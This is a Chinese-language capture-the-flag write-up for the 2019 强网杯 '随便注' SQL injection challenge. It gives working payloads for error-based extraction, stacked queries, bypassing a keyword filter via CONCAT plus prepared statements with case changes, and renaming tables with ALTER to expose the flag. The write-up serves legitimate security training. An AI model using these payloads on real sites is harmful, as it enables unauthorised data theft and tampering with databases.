[强网杯 2019]随便注
判斷題型
var_dump一個數組,就是sqli沒跑了。
判斷注入類型
1' 報錯
1' and 1 報錯
1' and 1# 正常回顯
1' and 0# 不回顯
顯然,查詢語句的關鍵字通過單引號閉合,那麼它的形式應該類似與:
select * from TABLE where id = '$id';
接着,查看下字段數。
1' order by 1# 正常回顯
1' order by 2# 正常回顯
1' order by 3# 報錯
所以,可以知道字段數爲2。
構造語句
聯合查詢
-1' union select 1111,2222#
報錯:
return preg_match("/select|update|delete|drop|insert|where|./i",$inject);
發現過濾了select,嘗試大小寫,雙寫,加注釋都無法繞過。
報錯注入
-1' and extractvalue(1,concat(0x7e,database()))#
=> error 1105 : XPATH syntax error: '~supersqli'
-1' and extractvalue(1,concat(0x7e,user()))#
=> error 1105 : XPATH syntax error: '~root@localhost'
-1' and extractvalue(1,concat(0x7e,version()))#
=> error 1105 : XPATH syntax error: '~10.3.18-MariaDB'
可以獲得數據庫的一些基本信息,但是沒有select一樣查詢不了別的信息。
堆疊注入
1';show databases# 正常回顯
1';show tables from ctftraining;
1';show columns from ctftraining.FLAG_TABLE#
報錯:
return preg_match("/select|update|delete|drop|insert|where|./i",$inject);
1';show columns from ctftraining.`FLAG_TABLE`#
一樣的報錯
沒有用到select呀,怎麼會出現這個報錯??有點懵。
出現DATABASE.TABLE會自動轉化成select?
試試,直接查詢當前數據庫好了。
剛剛測試報錯注入的時候有報錯,默認database在supersqli,看下裏面有什麼。
1';show tables#
=>正常回顯 有兩張表 1919810931114514 和 words
1';show columns from `1919810931114514`#
=>NICE!正常回顯
噗 原來flag在這嗎
不過,不能用select怎麼查看呢?
看了大佬的WP,有兩種辦法
- 預編譯
- 更改表名列名
預編譯
concat()出一個'select',然後預編譯這條查詢語句,再執行它。
set @sql = CONCAT('se','lect * from `1919810931114514`;');
prepare stmt from @sql;
EXECUTE stmt;
合在一起就是我們的payload
payload:-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#
=>strstr($inject, "set") && strstr($inject, "prepare")
報錯,檢測到set 和 prepare關鍵字,大佬的wp裏說,strstr()不能區分大小寫,所以直接大寫繞過。
payload:-1';Set @sql = CONCAT('se','lect * from `1919810931114514`;');Prepare stmt from @sql;EXECUTE stmt;#
得到flag。
更改表名列名
前面在測試堆疊注入的時候,我們就知道flag存在supersqli的1919810931114514表,但同個數據庫下還有另外一張表words。查看它的字段的話,就會發現這就是我們回顯數據所在的表,它們的結構都是一個id,一個字符串。
既然不能構造語句select查詢,那就只能利用它原有的查詢語句了。
通過堆疊注入,對調兩個表的信息,這樣就能把我們想要的信息正常地顯示出來了。
alter table `words` rename to `bak`;
alter table `1919810931114514` rename to `words`;
alter table `words` change `flag` `id` varchar(100);
合成payload
1';alter table `words` rename to `bak`;alter table `1919810931114514` rename to `words`;alter table `words` change `flag` `id` varchar(100);#
注入成功後,查看flag
1' or 1#
參考資料
OJ:BUU
WP:
SQLi: